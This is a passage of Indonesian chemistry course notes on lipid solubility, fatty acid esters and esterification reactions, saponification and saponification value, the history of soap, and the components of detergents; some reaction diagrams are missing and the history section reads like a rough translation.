(C2H5OC2H5), Kloroform(CHCl3), benzena dan hidrokarbon lainnya, lemak dan minyak dapat larut dalam pelarut yang disebutkan di atas karena lemak dan minyak mempunyai polaritas yang sama dengan pelaut tersebut. &lt;br /&gt;Bahan-bahan dan senyawa kimia akan mudah larut dalam pelarut yang sama polaritasnya dengan zat terlarut . Tetapi polaritas bahan dapat berubah karena adanya proses kimiawi. Misalnya asam lemak dalam larutan KOH berada dalam keadaan terionisasi dan menjadi lebih polar dari aslinya sehingga mudah larut serta dapat diekstraksi dengan air. Ekstraksi asam lemak yang terionisasi ini dapat dinetralkan kembali dengan menambahkan asam sulfat encer (10 N) sehingga kembali menjadi tidak terionisasi dan kembali mudah diekstraksi dengan pelarut non-polar. &lt;br /&gt;Lemak dan minyak merupakan senyawaan trigliserida atau triasgliserol, yang berarti “triester dari gliserol” . Jadi lemak dan minyak juga merupakan senyawaan ester . Hasil hidrolisis lemak dan minyak adalah asam karboksilat dan gliserol . Asam karboksilat ini juga disebut asam lemak yang mempunyai rantai hidrokarbon yang panjang dan tidak bercabang.&lt;br /&gt;&lt;br /&gt;2. 2. Ester Lemak&lt;br /&gt;Ester asam lemak di alam terdapat dalam bentuk ester antara gliserol dengan&lt;br /&gt;asam lemak ataupun terkadang ada gugus hidroksilnya yang teresterkan tidak&lt;br /&gt;dengan asam lemak tetapi dengan phospat seperti pada phospolipid. Disamping itu&lt;br /&gt;ada juga ester antara asam lemak dengan alkoholnya yang membentuk monoester&lt;br /&gt;seperti terdapat pada minyak jojoba.&lt;br /&gt;Ester asam lemak sering dimodifikasi baik untuk bahan makan maupun untuk&lt;br /&gt;bahan surfaktan, aditif, detergen dan lain sebagainya [Endo, dkk, 1997]. Modifikasi&lt;br /&gt;ester asam lemak dapat dilakukan dengan beberapa cara.&lt;br /&gt;a. Esterifikasi&lt;br /&gt; &lt;br /&gt;b. Interesterifikasi&lt;br /&gt; &lt;br /&gt;c. Alkoholisis&lt;br /&gt; &lt;br /&gt;d. Asidolisis&lt;br /&gt; &lt;br /&gt;Ketiga reaksi yang terakhir diatas dikelompokkan menjadi reaksi transesterifikasi&lt;br /&gt;[Gandhi,1997].&lt;br /&gt;&lt;br /&gt;Esterifikasi&lt;br /&gt;Esterifikasi adalah suatu reaksi ionik, yang mana gabungan dari reaksi adisi dan reaksi penataan ulang eliminasi [Davidek, 1990].&lt;br /&gt; &lt;br /&gt;Reaksi lain sering juga dilakukan untuk membentuk ester yang mana asam lemaknya diubah terlebih dahulu dalam bentuk asil klorida dengan melakukan reaksi klorinasi dengan menggunakan SOCl ataupun PCl3 .&lt;br /&gt; &lt;br /&gt;Ini dilakukan untuk menambah kesensitifan gugus fungsi yang ada dalam molekul, kemudian asil klorida yang terbentuk direaksikan dengan asamnya atau garamnya.&lt;br /&gt; &lt;br /&gt;Asil klorida adalah zat pengasilasi yang sangat reaktif dan bereaksi Sangat cepat dengan amin. Untuk alkohol, biasanya digunakan piridin sebagai katalis. Katalis piridin pada awalnya melibatkan pembentukan ion asil piridinium, yang kemudian bereaksi dengan alkohol. Piridin merupakan nukleofil yang lebih baik dibanding alkohol netral, tetapi ion asil piridinium bereaksi lebih cepat dengan alkohol daripada dengan klorida asam. Adakalanya piridin diganti dengan tridodekil amin untuk mengurangi sifat karsinogenik, namun pada dasarnya prinsipnya adalah sama [Carey dan Sundberg, 1990; Brahmana, 1998].&lt;br /&gt;&lt;br /&gt;Interestifikasi&lt;br /&gt;Interesterifikasi dapat digambarkan sebagai pertukaran gugusan antara dua buah ester dimana hal ini hanya dapat terjadi apabila terdapat katalis. Katalis yang sering digunakan untuk reaksi ini adalah logam natrium atau kalium dalam bentuk metoksilat atau etoksilat. Dalam reaksi ini ion logam natrium atau kalium akan menyebabkan terbentuknya ion enolat yang selanjutnya diikuti dengan pertukaran gugus alkil.&lt;br /&gt; &lt;br /&gt;Alkoholisis&lt;br /&gt;Alkoholisis adalah reaksi suatu asam karboksilat dengan alkohol untuk membentuk suatu ester, dimana reaksinya biasanya lambat namun dapat dipercepat dengan bantuan suatu katalis yang biasa dipergunakan adalah suatu asam anorganik seperti HCl dan H2SO4.&lt;br /&gt; &lt;br /&gt;Cara yang lainnya adalah dengan melewatkan HCl kedalam campuran reaksi tersebut dan direfluks. Cara ini dikenal dengan nama metode Fischer-Speier. Alkoholisis tanpa menggunakan katalis dapat juga dilakukan dengan menggunakan satu molekul asam karboksilat dan satu molekul alkohol akan memberikan hasil kira-kira sebesar molekul ester. Hasil dari ester ini dapat bertambah dengan cara menggunakan salah satu pereaksi secara berlebih. Pertambahan hasil juga dipengaruhi oleh dehidrasi yang artinya menarik air yang terbentuk sebagai hasil samping reaksi. Air dapat dipisahkan dengan cara menambahkan pelarut yang bersifat non polar seperti misalnya benzen dan kloroform sehingga ester yang terbentuk akan segera terikat pada pelarut yang digunakan. Asam anorganik yang digunakan sebagai katalis akan menyebabkan asam karboksilat mengalami konyugasi sehingga asam konyugat dari asam karboksilat tersebutlah yang akan berperan sebagai substrat. Struktur konyugasi asam karboksilat adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Asam karboksilat akan beresonasi hibrid :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dengan demikian mekanisme reaksi esterifikasi antara asam karboksilat dengan alkohol adalah sebagai berikut :&lt;br /&gt; &lt;br /&gt;Jika dianggap oksigen dari karbonil yang diprotonasi maka mekanisme reaksinya adalah sebagai berikut :&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Asidolisis&lt;br /&gt;Asidolisis adalah reaksi pembentukan suatu ester antara asam lemak dengan ester yang lain. Disini terjadi pertukaran gugus alkil pada ester dengan atom hidrogen dari asam yang digunakan. Katalis yang digunakan akan menyebabkan terjadinya proton abstraction yang kemudian diikuti dengan perenggutan alkil dari ester oleh ion enolat yang terbentuk.&lt;br /&gt; &lt;br /&gt;Metode Esterifikasi Lainnya&lt;br /&gt;Reaksi esterifikasi dapat juga terjadi antara suatu alkohol dengan asil halida ataupun dengan suatu anhidrida. Reaksi dengan alkohol tersier sangat lambat, namun dengan penggunaan kondisi yang tepat ester dapat dihasilkan. Ester dari alkohol tersier dapat juga dihasilkan dengan baik dengan menggunakan reagen Grignard.&lt;br /&gt; &lt;br /&gt;Ester juga dapat dibuat dengan mereaksikan suatu garam perak dengan alkil halida dalam larutan etanolik, namun demikian metode esterifikasi ini sangat sulit dilakukan.&lt;br /&gt; &lt;br /&gt;Esterifikasi dapat juga dihasilkan dengan cara melewatkan campuran uap asam kedalam alkohol dengan katalis oksida logam pada temperatur 300ºC.&lt;br /&gt; &lt;br /&gt;Reaksi antara suatu asam karboksilat dengan olefin dengan adanya katalis boron trifluorida akan menghasilkan suatu ester.&lt;br /&gt; &lt;br /&gt;Reaksi antara suatu eter dengan karbon monoksida pada temperatur 125-180ºC dengan tekanan 500 atm dan adanya katalis BF3 yang ditambahkan sedikit air juga akan menghasilkan suatu ester.&lt;br /&gt; &lt;br /&gt;Ester Asam Lemak&lt;br /&gt;Ester asam lemak dialam terdapat dalam bentuk ester antara gliserol dengan asam lemak ataupun terkadang ada gugus hidroksilnya yang teresterkan tidak dengan asam lemak tetapi dengan phospat seperti pada phospolipid. Disamping itu ada juga ester antara asam lemak dengan alkoholnya yang membentuk monoester seperti terdapat pada minyak jojoba Ester asam lemak sering dimodifikasi baik untuk bahan makan maupun untuk bahan surfaktan, aditif, detergen dan lain sebagainya. Ester asam lemak dalam bentuk trigliserida sering dilakukan reaksi interesterifikasi antara 2 lemak yang padat dengan minyak yang cair untuk mengubah posisi asam lemak tersebut yang teresterkan pada gugus hidroksil dari C1,2,3 gliserol, sehingga dengan demikian kandungan padatan minyak / lemak tersebut yang terukur secara pulsa NMR akan menurun. Hal ini dapat terjadi karena asam lemak tidak jenuh yang tadinya berada pada posisi C2 serta diapit oleh asam lemak jenuh pada posisi C1,3 dan berbentuk padat akan menjadi lebih cair apabila pada posisi C1 atau C3 berupa asam lemak tidak jenuh. Hal ini telah dibuktikan untuk mempertukarkan posisi Eikosapentanoat dari posisi C1 atau C3 ke posisi C2 atau sebaliknya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;R1 = C15H31-CO (Asam Palmitat)&lt;br /&gt;R2 = C19H29 - CO (Asam Eikosapentanoat)&lt;br /&gt;Perubahan letak posisi asam lemak secara reaksi interesterifikasi akhirnya digunakan untuk merekayasa lipida yang tersabunkan menjadi sumber bahan makan yang bermanfaat bagi kesehatan. Trigliserida di dalam tubuh manusia hanya terhidrolisa oleh enzim pankreas pada posisi C1 dan C3 sedangkan C2 tetap dalam bentuk esternya. Ester yang masih terikat dengan gliserol pada posisi C2 biar bagaimanapun panjang rantainya tetap dapat diserap oleh tubuh sebagai sumber energi, sedangkan asam lemak bebas hasil hidrolisa pada posisi C1 dan C3 apabila berantai panjang sulit terabsorbsi oleh tubuh.&lt;br /&gt;Dalam hubungan ini telah disintesis trigiliserida yang pada posisi C1 dan C3 berupa asam lemak rantai pendek seperti C8 dan C10 yang banyak terdapat pada minyak kelapa. Lipida seperti ini disebut sebagai Medium Chain Triglicerides (MCT), yang mana dapat digunakan untuk mengobati pasien pengidap penyakit HIV, gagal pencernaan, liver ataupun bagi seseorang yang dalam proses penyembuhan dari pembedahan serta dapat juga digunakan untuk orang yang memiliki permasalahan alergi terhadap bahan makan tertentu.&lt;br /&gt;Trigliserida juga banyak diubah menjadi monogliserida dan digliserida, karena baik monogliserida dan digliserida luas penggunaannya sebagai bahan pengemulsi. Oleh karena itu trigliserida melalui reaksi transesterifikasi dengan gliserol diubah menjadi monogliserida dan digliserida dengan bantuan katalis seperti natrium metoksida dan basa Lewis lainnya. Hanya saja proses ini menghasilkan campuran yang terdiri atas 40 - 80% monogliserida, 30 - 40% digliserida, 5 - 10% trigliserida, 0,2 - 9% asam lemak bebas dan 4 - 8% gliserol. Untuk mendapatkan monogliserida yang murni yang akan digunakan dalam bahan makan, farmasi dan kosmetika maka harus dilakukan destilasi molekuler. Dalam hubungan untuk meningkatkan perolehan hasil monogliserida maka dilakukan reaksi bertingkat secara transesterifikasi dengan gliserol yang kemudian diikuti dengan reaksi interesterifikasi dengan metil ester asam lemak, sehingga monogliserida yang diperoleh dapat mencapai 60 - 70%. Tahapan pertama trigliserida yang ditransesterifikasikan dengan gliserol mengikuti reaksi berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sedangkan reaksi berikutnya adalah reaksi transeterifikasi antara metil ester dengan&lt;br /&gt;gliserol yang diikuti reaksi interesterifikasi. Reaksinya sebagai berikut :&lt;br /&gt; &lt;br /&gt;Keterangan : TG = Trigliserida ME = Metil ester&lt;br /&gt;MG = Monogliserida G = Gliserol&lt;br /&gt;DG = Digliserida MeOH = Metanol&lt;br /&gt;Transesterifikasi dapat berlangsung dengan menggunakan lipase yang terjebak secara enzimatis tanpa menggunakan pelarut untuk menghasilkan monogliserida, digliserida dan trigliserida. &lt;br /&gt; &lt;br /&gt;Apabila monogliserida dan digliserida diatas masih tercampur satu sama lain termasuk dengan trigliserida maka secara enzimatis telah dapat dilakukan pembentukkan monogliserida melalui reaksi transesterifikasi antara gliserol dengan minyak zaitun pada fasa padat yang menggunakan bahan penopang CaCO3, CaSO4.2H2O, Ca2P2O7 dan cellite dengan menggunakan enzim lipase terjebak yang&lt;br /&gt;berasal dari Pseudomonas sp. Dimana hasil yang diperoleh sebesar 60 % monogliserida tanpa terbentuk digliserida. Monogliserida tunggal dapat dibuat dengan terlebih dahulu melindungi gliserol dengan gugus ketal diikuti dengan reaksi esterifikasi terhadap gugus hidroksil yang bebas untuk membentuk ester solketal yang selanjutnya dihidrolisis untuk menghasilkan monogliserida.&lt;br /&gt; &lt;br /&gt;Ester asam lemak dengan gliserol telah berkembang menjadi ester asam lemak dengan poliol lainnya seperti glikol, sorbitol dan sukrosa. Ester glikol terutama baik monoglikolat dan diglikolatnya digunakan secara luas dalam kosmetika karena kecerahan dan memberi tampilan berkilau seperti mutiara. Ester glikol ini terutama digunakan pada pembuatan emulsi shampo, foam bath, ointment dan pengental pada bahan kosmetika. Pada umumnya yang digunakan adalah glikol stearat.&lt;br /&gt;Disamping itu dikenal juga ester asam lemak dengan sorbitol yang biasanya memiliki HLB (hidrophil liphofil balance) berkisar antara 1,8 - 16,7 setelah ester sorbitol tersebut dietoksilasi. Ester sorbitol asam lemak digunakan sebagai pengemulsi pada bahan kosmetika seperti pada lotion pencegah sengatan matahari, deodoran, krim kulit, krim rambut dan shampo. Ester sorbitol asam lemak baik monoester ataupun diesternya dapat disintesakan dengan 2 cara, yakni : reaksi&lt;br /&gt;esterifikasi antara kloro sorbitol dengan garam asam lemak dengan bantuan katalis 2-Monogliserida 1,2-Digliserida Trigliserida perpindahan dua fasa trietilamin hidroklorida ataupun tridodekilamin hidroklorida dan reaksi interesterifikasi antara asetil sorbitol ataupun diasetil sorbitol dengan metil ester asam lemak. HLB dari pada monoester sorbitol dan diester sorbitol yang dihasilkan dengan menggunakan asam lemak C8 - C18 termasuk asam oleat hádala berkisar 0,8 - 12,6.&lt;br /&gt;Ester sukrosa asam lemak merupakan ester non ionik yang memiliki gugus yang bersifat lipofilik dan hidrofilik yang digunakan luas pada bahan makan karena mudah dicerna dan diabsorbsi dalam tubuh. Ester sukrosa asam lemak digunakan sebagai surfaktan dalam sistim minyak dalam air (o/w) dan air dalam minyak (w/o). Ester sukrosa asam lemak ini dapat disintesis dengan 3 cara, yakni : 1) reaksi esterifikasi antara asil klorida asam lemak ataupun anhidrid asam lemak dengan sukrosa, 2) interesterifikasi antara meti ester asam lemak dengan sukrosa pada pemanasan suhu tinggi, dan 3) reaksi enzimatis antara sukrosa dengan asam lemak menggunakan lipase.&lt;br /&gt;Disamping ester antara poliol dengan asam lemak maka dikenal juga ester antara asam lemak dengan monoalkohol. Alkohol yang digunakan mulai dari metanol, etanol, propanol dan butanol sampai pada alkil alkohol seperti stearil alkohol. Dekil oleat yang merupakan ester antara dekanol dengan asam oleat memiliki sifat yang baik seperti lemak tetapi tidak terasa berminyak dikulit bila digunakan, sehingga luas penggunaannya sebagai bahan pengemulsi dalam kosmetika. Oleil oleat digunakan secara luas sebagai bahan ointment untuk keperluan pengobatan, minyak urut, minyak untuk balita dan sebagainya. Butil stearat yang juga merupakan ester asam lemak monoalkohol digunakan sebagai pelumas pada pembuatan tekstil, baik untuk pembuatan filamen dan minyak conning. Minyak conning berguna pada proses pemintalan dan perajutan. Dalam hubungan pembuatan tekstil disamping menggunakan butil stearat sebagai pelumas, juga digunakan palmitil stearat. Palmitil stearat ini paling luas penggunaannya dalam membuat benang-benang ban kendaraan yang terbuat dari serat poliester.&lt;br /&gt;Ester monoalkohol juga luas penggunaannya dalam industri plastik. Metil ester asam lemak yang merupakan bagian dari pada ester asam lemak monoalkohol merupakan zat antara dalam industri oleokimia disamping dapat digunakan sebagai bahan bakar diesel. Metil ester asam lemak ini dapat dibuat dengan cara transesterifikasi lipida dengan metanol yang menggunakan katalis asam sulfat dalam pelarut benzena.&lt;br /&gt;Metil ester asam lemak secara transesterifikasi diatas dapat dilakukan pada suhu kamar dengan kecepatan pengadukkan 3000 rpm selama 20 - 30 menit menggunakan katalis KOH atau NaOH, dimana dengan cara ini memberikan hasil sebesar 97 - 98%. Metil ester asam lemak ini apabila disulfonasi dapat menghasilkan α-sulfo metil ester yang merupakan bahan detergen yang baik.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esterifikasi asam lemak dengan monoalkohol primer memberikan hasil reaksi yang sangat tinggi, dengan monoalkohol sekunder hasilnya terbatas dan hasil reaksi yang sangat sedikit bila dengan monoalkohol tersier. Asilasi alkohol oleh asam asetat anhidrida atau asetil klorida dengan adanya katalis trietilamina, piridin ataupun 4- (dimetilamino)-piridin (DMAP) memberikan hasil reaksi yang sangat baik untuk alkohol primer dan sekunder, sedangkan untuk alkohol tersier hasil reaksinya sedikit. Penggunaan kobalt (II) klorida sebagai katalis dalam pelarut asetonitril memberikan hasil yang sangat baik untuk asilasi alkohol tersier dan tidak menghasilkan produk yang tereliminasi.&lt;br /&gt;Ester antara asam pthalat dengan asam lemak dapat digunakan sebagai plastisizer. Hanya saja senyawa dioktil pthalat ini tidak termasuk ester asam lemak, sebab yang diesterkan adalah asam pthalat dengan turunan alkohol asam lemak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reaksi esterifikasi melalui reaksi transesterifikasi hemiketal dengan metal ester asam lemak ternyata dapat digunakan untuk membentuk surfaktan Oleil 6-α- fruktofuranosa, Oleil 6-β-fruktofuranosa dan Oleil 1-β-fruktofuranosa. Reaksi transesterifikasi ini secara selektif terjadi pada posisi alkohol primer [Jung, dkk,1998].&lt;br /&gt;2. 3. Saponin&lt;br /&gt;Saponifikasi adalah hidrolisa lemak/minyak dengan suatu basa kuat. Hasilnya adalah gliserol dan garam daria sam lemak itu sendiri yang dikenal sebagai sabun. &lt;br /&gt;Bilangan penyabunan suatu lemak/minyak adalah banyaknya mg KOH atau NaOH yang dibutuhkan untuk menyabunkan 1 gram lemak atau minyak. &lt;br /&gt;Alkohol yang ada dalam KOH berfungsi untuk melarutkan asam lemak hasil hidrolisa agar supaya mempermudah reaksi dengan basa sehingga terbentuk sabun. &lt;br /&gt; &lt;br /&gt; Dalam penetapan bilangan penyabunan biasanya larutan alkali yang dipergunakan  adalah larutan KOH, yang diukur denga hati-hati ke dalam tabung dengan menggunakan buret atau pipet.&lt;br /&gt;  &lt;br /&gt; Campuran minyak atau lemak dengan larutan KOH didihkan pada pendingin alir balik sampai terjadi penyabunan yang lengkap, kemudian larutan KOH yang tersisa ditetapkan dengan jalan titrasi dengan larutan HCL 0,5 N. bilangan penyabunan dapat ditetapkan dengan jalan mengurangkan jumlah miliekuivalen larutan álcali beralkohol yang dipergunakan, dikalikan dengan berat molekul dari larutan tersebut, dibagi dengan berat contoh dalam gram. berat molekul bentuk larutan KOH adalah 56,1 ; sedangkan berat molekul larutan NaOH adalah 39,9.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;2. 4. Sabun dan Deterjen&lt;br /&gt;2. 4. 1. Sabun&lt;br /&gt;Sabun biasanya berbentuk padatan tercetak yang disebut batang karena sejarah dan bentuk umumnya. Penggunaan sabun cair juga telah telah meluas, terutama pada sarana-sarana publik. Jika diterapkan pada suatu permukaan, air bersabun secara efektif mengikat partikel dalam suspensi mudah dibawa oleh air bersih. Di negara berkembang, deterjen sintetik telah menggantikan sabun sebagai alat bantu mencuci.&lt;br /&gt;Banyak sabun merupakan campuran garam natrium atau kalium dari asam lemak yang dapat diturunkan dari minyak atau lemak dengan direaksikan dengan alkali (seperti natrium atau kalium hidroksida) pada suhu 80–100 °C melalui suatu proses yang dikenal dengan saponifikasi. Lemak akan terhidrolisis oleh basa, menghasilkan gliserol dan sabun mentah. Secara tradisional, alkali yang digunakan adalah kalium yang dihasilkan dari pembakaran tumbuhan, atau dari arang kayu. Sabun dapat dibuat pula dari minyak tumbuhan, seperti minyak zaitun.&lt;br /&gt;&lt;br /&gt;a. Sejarah Awal&lt;br /&gt;Asal dari kebersihan pribadi kembali ke zaman prasejarah. Sejak air menjadi bagian yang penting untuk kehidupan, orang pertama hidup dekat air dan tahu sesuatu apa itu properti kebersihan - sedikitnya bagaimana membilas lumpur ke tangan mereka.&lt;br /&gt;Benda mirip sabun ditemukan dalam bentuk tabung saat penggalian di Babilonia Kuno adalah fakta tentang pembuatan sabun diketahui pada tahun 2800 SM. Persembahan di tabung mengatakan bahwa lemak direbus dengan abu, dimana adalah metoda membuat sabun, tetapi tidak mengenai kegunaan sabun itu. Catatan memperlihatkan bahwa orang Mesir Kuno mandi biasa. Papirus Eber, dokumen kesehatan dar sekitar tahun 1500 SM, mendeskripsikan kombinasi minyak hewani dan nabati dengan garam alkali untuk membuat bahan sejenis sabun untuk menyembuhkan penyakit kulit, juga untuk membersihkan. Di waktu yang sama, Musa memberi orang Israel peraturan pemerintah kebersihan pribadi. Dia juga menghubungkan kebersihan untuk kesehatan dan penyucian agama.&lt;br /&gt;Orang Yunani Kuno mandi untuk alasan estetik dan rupanya tidak menggunakan sabun. Malahan, mereka membersihkan tubuh mereka dengan balok lilin, pasir, batu apung dan abu, juga meminyaki tubuh dengan minyak, menggesek minyak dan kotoran dengan peralatan metal yang disebut strigil. Mereka juga menggunakan minyak dengan abu. Baju dicuci tanpa sabun di sungai.&lt;br /&gt;Sabun mendapatkan nama, diantara legenda Romawi Kuno, dari Gunung Sapo, dimana binatang dikorbankan. Hujan membersihkan campuran dari lemak hewani mencair, atau lemak dan abu kayu dibawah menjadi lilin di sepanjang Sungai Tiber. Para wanita menemukan bahwa campuran lilin membuat pembersih mereka dengan lebih kurang usaha.&lt;br /&gt;Ketika peradaban Romawi maju, jadi selalu mandi. Tempat mandi Romawi terkenal pertama, terdapat dengan air dari saluran air, dibangun sekitar tahun 312 SM. Mandi sangatlah mewah, dan mandi menjadi populer. Di abad-ke 2 Masehi, dokter Yunani, Galen menganjurkan sabun untuk pengobatan dan pembersih.&lt;br /&gt;Setelah musim gugur di Roma di 467 Masehi dan hasilnya kebiasaan mandi menurun, lebih banyak di lakukan Eropa pengaruh yang kuat di kesehatan publik berganti-berganti. Menurunnya kebersihan pribadi dan berhubungan kondisi kehidupan tanpa sanitasi menambah beratnya wabah besar di Abad Pertengahan, dan khususnya Kematian Hitam di abad ke-14. Itu tidak sampai abad ke-17 bahwa kebersihan dan mandi memulai untuk kembali ke kebiasaan di banyak tempat di Eropa. Masih sudah di mana tempat di pertengahan dunia dimana kebersihan pribadi tersisa penting di pertengahan dunia. Mandi harian adalah adat yang biasa di Jepang saat Abad Pertengahan. Dan, di Islandia, kolam hangat dengan air dari mata air panas adalah perkumpulan populer di Sabtu sore.&lt;br /&gt;&lt;br /&gt;b. Sejarah Pertengahan&lt;br /&gt;Pembuatan sabun adalah keahlian yang tidak bisa dipungkiri di Eropa di abad ke-17. Pembuat sabun serikat pekerja terlindungi perdagangan rahasia mereka ditutup. Minyak nabati dan hewani digunakan dengan arang tanaman, terus dengan pewangi. Secara berangsur-angsur jenis sabun yang lebih banyak lagi menjadi tersedia untuk mencukur dan mencuci rambut, juga mandi dan mencuci.&lt;br /&gt;Italia, Spanyol dan Perancis adalah pusat manufaktur pertama sabun, seharusnya mereka siap menyediakan bahan mentah seperti minyak pohon zaitun. Orang Inggris mulai membuat sabun saat abad ke 12. Bisnis sabun sangat baik pada tahun 1622, Raja James I mengabulkan monopoli kepada pembuat sabun untuk $100.000 setahun. Baik ke abad ke-19, sabun adalah pajak tertinggi sehingga menjadi barang mewah di beberapa negara. Ketika pajak dihapuskan, sabun menjadi tersedia untuk orang biasa, dan standar kebersihan meningkat.&lt;br /&gt;Pembuatan sabun komersial di Amerika kolonial dimulai pada tahun 1608 dengan datangnya beberapa pembuat sabun di kapal kedua dari Inggris untuk mencapai Jamestown, Virginia. Bagaimanapun, untuk beberapa tahun, pembuatan sabun pada dasarnya tinggal pekerjaan rumah tangga. Akhirnya, pembuat sabun profesional mulai biasa mengumpulkan pemborosan lemak dari rumah tangga, di perubahan untuk beberapa sabun.&lt;br /&gt;Langkah utama terhadap pembuatan sabun komersial skala besar terjadi pada tahun 1791 ketika kimiawan Perancis, Nicholas Leblanc, mematenkan proses untuk membuat abu soda, atau sodium karbonat, dari garam biasa. Abu soda adalah alkali terdapat dari abu bahwa kombinasi dari lemak ke bentuk sabun. Leblanc memproses hasil kuantitas dari kualitas baik, abu soda murah.&lt;br /&gt;Sains dari pembuatan sabun modern lahir 20 tahun kemudian dengan pemjelajahan oleh Michel Eugene Chevreul, kimiawan Perancis lainnya, dari kimia alam and lemak yang terkait, gliserin dan asam lemak. Penelitiannya yang tidak bisa dipungkiri dasar untuk lemak dan bahan kimia sabun.&lt;br /&gt;Juga penting kepada kemajuan dari teknologi sabun di pertengahan 1800-an penemuan oleh kimiawan Belgia, Ernest Solvay, dari proses amonia, di mana juga menggunakan garam meja biasa, atau sodium klorida, untuk membuat abu soda. Proses Solvay lebih lanjut dikurangi harga dari mendapat alkali, dan menambah kualitas dan kuantitas dari abu soda tersedia untuk manufaktur sabun.&lt;br /&gt;&lt;br /&gt;c. Modern&lt;br /&gt;Bahan kimia dari manufaktur sabun dasarnya tinggal sama sampai tahun 1916, ketika deterjen sintetik pertama berkembang di Jerman di jawaban ke Perang Dunia I - berkaitan kekurangan lemak untuk membuat sabun. Diketahui sekarang dengan sederhana deterjen, deterjen sintetis adalah pembersih non-sabun dan produk pembersih itu adalah menjadi satu atau mengambil bersama dari jenis bahan mentah. Penjelajahan dari deterjen juga diterbangkan oleh kebutuhan untuk alat kebersihan itu, tidak seperti sabun, tidak akan dikombinasi dengan garam mineral di air untuk membentuk sesuatu yang tidak dapat dipecahkan diketahui itu adalah dadih sabun.&lt;br /&gt;&lt;br /&gt;2. 4. 2. Deterjen&lt;br /&gt;Deterjen adalah campuran berbagai bahan, yang digunakan untuk membantu pembersihan dan terbuat dari bahan-bahan turunan minyak bumi. Dibanding dengan sabun, deterjen mempunyai keunggulan antara lain mempunyai daya cuci yang lebih baik serta tidak terpengaruh oleh kesadahan air.&lt;br /&gt;Pada umumnya, deterjen mengandung bahan-bahan berikut:&lt;br /&gt;a. Surfaktan&lt;br /&gt;Surfaktan (surface active agent) merupakan zat aktif permukaan yang mempunyai ujung berbeda yaitu hidrofil (suka air) dan hidrofob (suka lemak). Bahan aktif ini berfungsi menurunkan tegangan permukaan air sehingga dapat melepaskan kotoran yang menempel pada permukaan bahan. Secara garis besar, terdapat empat kategori surfaktan yaitu:&lt;br /&gt;a. Anionik : &lt;br /&gt; Alkyl Benzene Sulfonate (ABS)&lt;br /&gt; Linier Alkyl Benzene Sulfonate (LAS)&lt;br /&gt; Alpha Olein Sulfonate (AOS)&lt;br /&gt;b. Kationik : Garam Ammonium&lt;br /&gt;c. Non ionik : Nonyl phenol polyethoxyle&lt;br /&gt;d. Amphoterik : Acyl Ethylenediamines&lt;br /&gt;b. Builder&lt;br /&gt;Builder (pembentuk) berfungsi meningkatkan efisiensi pencuci dari surfaktan dengan cara menon-aktifkan mineral penyebab kesadahan air.&lt;br /&gt;a. Fosfat : Sodium Tri Poly Phosphate (STPP)&lt;br /&gt;b. Asetat : &lt;br /&gt; Nitril Tri Acetate (NTA)&lt;br /&gt; Ethylene Diamine Tetra Acetate (EDTA)&lt;br /&gt;c. Silikat : Zeolit&lt;br /&gt;d. Sitrat : Asam Sitrat&lt;br /&gt;c. Filler&lt;br /&gt;Filler (pengisi) adalah bahan tambahan deterjen yang tidak mempunyai kemampuan meningkatkan daya cuci, tetapi menambah kuantitas. Contoh Sodium sulfat.&lt;br /&gt;d. Aditif&lt;br /&gt;Aditif adalah bahan suplemen / tambahan untuk membuat produk lebih menarik, misalnya pewangi, pelarut, pemutih, pewarna dst, tidak berhubungan langsung dengan daya cuci deterjen. Additives ditambahkan lebih untuk maksud komersialisasi produk. Contoh : Enzim, Boraks, Sodium klorida, Carboxy Methyl Cellulose (CMC).&lt;br /&gt;&lt;br /&gt;Produksi deterjen rumah tangga di Amerika Serikat dimulai di awal tahun 1930-an, tetapi tidak benar-benar membuka sampai akhir Perang Dunia II. Waktu perang berhentinya persediaan lemak dan minyak juga militer membutuhkan untuk alat kebersihan itu akan bekerja di air laut kaya mineral dan di air dingin mempunyai lebih lanjut merangsang meneliti di deterjen.&lt;br /&gt;Deterjen pertama digunakan terutama untuk mencuci piring dan mencuci baju bahan lembut. Penerobosan di perkembangan dari detergen untuk mencuci baju serba guna digunakan muncul pada tahun 1946, ketika deterjen pembangun (berisi surfaktan/kombinasi pembangun)dikenalkan di Amerika Serikat. Surfaktan adalah produk deterjen bahan pembersih dasar, saat pembangun membantu surfaktan untuk bekerja lebih efisien. Senyawa fosfat digunakan sebagai pembangun di detergen ini sangat meningkat perfomanya, membuat mereka cocok untuk mencuci baju dengan tingkat kekotoran berat.&lt;br /&gt;Di tahun 1953, penjualan deterjen di negara ini memiliki itu melebihi sabun. Kini, detergen memiliki semua tetapi menggantikan produk dengan dasar sabun untuk mencuci baju, mencuci piring dan pembersih rumah tangga. Deterjen (sendiri atau berkombinasi dengan sabun) adalah juga penemuan di banyak dari penggunaan batangan dan cair untuk pembersih pribadi.&lt;br /&gt;Sejak prestasi di deterjen dan bahan kimia pembangun itu, aktivitas produk baru memiliki lanjutan utntuk fokus ke membangun produk pembersih praktis dan mudah untuk digunakan, juga menyelamatkan konsumen dan untuk lingkungan. Berikut ini ringkasan beberapa penemuan:&lt;br /&gt;1950-an&lt;br /&gt;• Pencuci piring otomatis bubuk&lt;br /&gt;• Sabun pencuci baju cair, pencuci piring tangan dan produk pembersih serba guna&lt;br /&gt;• Deterjen dengan pemutih oksigen&lt;br /&gt;1960an&lt;br /&gt;• Pracuci kotoran dan penghilang noda&lt;br /&gt;• Bubuk pencuci baju dengan enzim&lt;br /&gt;• Prarendam dengan enzim&lt;br /&gt;1970an&lt;br /&gt;• Sabun cuci tangan cair&lt;br /&gt;• Pelembut kain (ditambah lembaran dan putaran cuci)&lt;br /&gt;• Produk multifungsi (contoh, deterjen dengan tambahan pelembut kain)&lt;br /&gt;1980an&lt;br /&gt;• Deterjen untuk pencucian dengan air dingin&lt;br /&gt;• Pencuci piring otomatis cair&lt;br /&gt;• Pencuci baju konsentrat bubuk&lt;br /&gt;1990an&lt;br /&gt;• Deterjen bubuk dan cair ultra 